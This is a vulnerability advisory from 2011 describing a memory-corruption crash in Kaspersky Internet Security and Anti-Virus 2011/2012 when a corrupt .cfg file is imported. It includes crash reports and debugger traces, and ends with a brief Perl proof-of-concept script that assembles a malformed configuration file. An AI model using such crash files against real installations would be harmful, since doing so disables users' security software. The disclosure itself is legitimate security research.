Title: ====== Kaspersky IS&AV 2011/12 - Memory Corruption Vulnerability Date: ===== 2011-12-19 References: =========== http://www.vulnerability-lab.com/get_content.php?id=129 VL-ID: ===== 129 Introduction: ============= Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web. It provides constant protection for you and your family – whether you work, bank, shop or play online. Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning technologies work silently in the background while you enjoy your digital life. (Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus && http://www.kaspersky.com/kaspersky_internet_security) Abstract: ========= Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. Report-Timeline: ================ 2010-12-04: Vendor Notification 2011-01-16: Vendor Response/Feedback 2011-12-19: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Exploitation-Technique: ======================= Local Severity: ========= Medium Details: ======== A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters, which could be exploited by attackers to crash he complete software process. The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import. Vulnerable Modules: [+] CFG IMPORT Affected Version(s): Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012 KIS 2012 v12.0.0.374 KAV 2012 v12.x Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011 KIS 2011 v11.0.0.232 (a.b) KAV 11.0.0.400 KIS 2011 v12.0.0.374 Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010 --- Kaspersky Bug Logs --- Folder: ../Analyses/Crash Reports (KIS&KAV) KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp Reference(s): ../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar ../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip ../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip --- Service Crash Report Queue Logs --- Folder: ../Analyses/Crash Reports (Service) AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7 AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95 AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e AppCrash_avp.exe_5f09d49c257b515e08a6defbf11 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977 AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327 AppCrash_avp.exe_ed94bb914e255192b71d1257c19 Version=1 EventType=APPCRASH EventTime=129256270253026260 ReportType=2 Consent=1 UploadTime=129256270260076663 ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6 IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6 WOW64=1 Response.BucketId=1985200055 Response.BucketTable=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=avp.exe Sig[1].Name=Anwendungsversion Sig[1].Value=11.0.1.400 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4c2cd011 Sig[3].Name=Fehlermodulname Sig[3].Value=basegui.ppl Sig[4].Name=Fehlermodulversion Sig[4].Value=11.0.1.400 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=4c2cd193 Sig[6].Name=Ausnahmecode Sig[6].Value=c0000005 Sig[7].Name=Ausnahmeoffset Sig[7].Value=00079c3c DynamicSig[1].Name=Betriebsystemversion DynamicSig[1].Value=6.1.7600.2.0.0.768.3 DynamicSig[2].Name=Gebietsschema-ID DynamicSig[2].Value=1031 DynamicSig[22].Name=Zusatzinformation 1 DynamicSig[22].Value=0a9e DynamicSig[23].Name=Zusatzinformation 2 DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789 DynamicSig[24].Name=Zusatzinformation 3 DynamicSig[24].Value=0a9e DynamicSig[25].Name=Zusatzinformation 4 DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789 UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten. UI[5]=Online nach einer Lösung suchen und das Programm neu starten UI[6]=Später online nach einer Lösung suchen und das Programm schließen UI[7]=Programm schließen LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll LoadedModule[2]=C://Windows/syswow64/kernel32.dll LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll ... ... LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll State[0].Key=Transport.DoneStage1 State[0].Value=1 State[1].Key=DataRequest State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n FriendlyEventName=Nicht mehr funktionsfähig ConsentKey=APPCRASH AppName=Kaspersky Anti-Virus AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe --- System Crash Report Queue Logs --- Folder: Analyses//Crash Reports (System) WER7A62.tmp.appcompat.txt WER7FFE.tmp.mdmp WER6127.tmp.WERInternalMetadata.xml --- Exception Log --- (a50.ee8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000 eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 --- Debug Logs --- FAULTING_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 PROCESS_NAME: avp.exe FAULTING_MODULE: 755b0000 kernel32 DEBUG_FLR_IMAGE_TIMESTAMP: 4c4f15cf MODULE_NAME: basegui ERROR_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 9699eef0 READ_ADDRESS: 9699eef0 FOLLOWUP_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] FAULTING_THREAD: 00000ee8 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE LAST_CONTROL_TRANSFER: from 6ddf9bfd to 6ddf9bed STACK_TEXT: 0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed 0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580 0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0 0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320 0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45 0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd 0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341 0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182 0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287 0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922 0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f 0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf 0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e 0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58 0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b 0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c 0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8 0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: basegui+79bed FOLLOWUP_NAME: MachineOwner IMAGE_NAME: basegui.ppl BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1 Followup: MachineOwner --------- 0:005> lmvm basegui start end module name 6dd80000 6df19000 basegui (export symbols) basegui.ppl Loaded symbol image file: basegui.ppl Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl Image name: basegui.ppl Timestamp: Tue Jul 27 19:22:23 2010 (4C4F15CF) CheckSum: 0019E22D ImageSize: 00199000 File version: 11.0.0.241 Product version: 11.0.0.241 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Kaspersky Lab ZAO ProductName: Kaspersky Anti-Virus InternalName: BASEGUI OriginalFilename: BASEGUI.DLL ProductVersion: 11.0.0.241 FileVersion: 11.0.0.241 FileDescription: Kaspersky Anti-Virus GUI Windows part LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010. LegalTrademarks: Kaspersky™ Anti-Virus ® is registered trademark of Kaspersky Lab ZAO. 0:005> .exr 0xffffffffffffffff ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 Information: The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png). The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8. Notice: An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png) Folder: ../Analyses/Debug References(Pictures): ../appcrash1.png ../appcrash2.png ../appcrash3.png ../appcrash4.png ../appcrash5.png ../debug&exception.png ../kav2011.png ../reproduce-x32.png ../wrong-way.png ../access-rights.png Proof of Concept: ================= The vulnerability can be exploited by local attackers via import or remote attacker via user inter action. For demonstration or reproduce ... #!/usr/bin/perl ############################################################################## my $code="corrupt" x 1; ################################################################### $FH1 = "file1"; $FilePath1 = "part1.bin"; $FH2 = "file2"; $FilePath2 = "part2.bin"; ################################################################### open(myfile,'>> poc_pwn.cfg'); binmode myfile; ################################################################### open(FH1, $FilePath1); binmode FH1; while () { print myfile; } close(FH1); print myfile $code; open(FH2, $FilePath2); binmode FH2; while () { print myfile; } close(FH2); ################################################################### PoC: ../PoC/kis&kav_2011_2012_p0c.pl ../PoC/part1.bin ../PoC/part2.bin Risk: ===== The security risk of the bug/vulnerability is estimated as medium(+). Credits: ======== Vulnerability Research Laboratory - Benjamin K.M. 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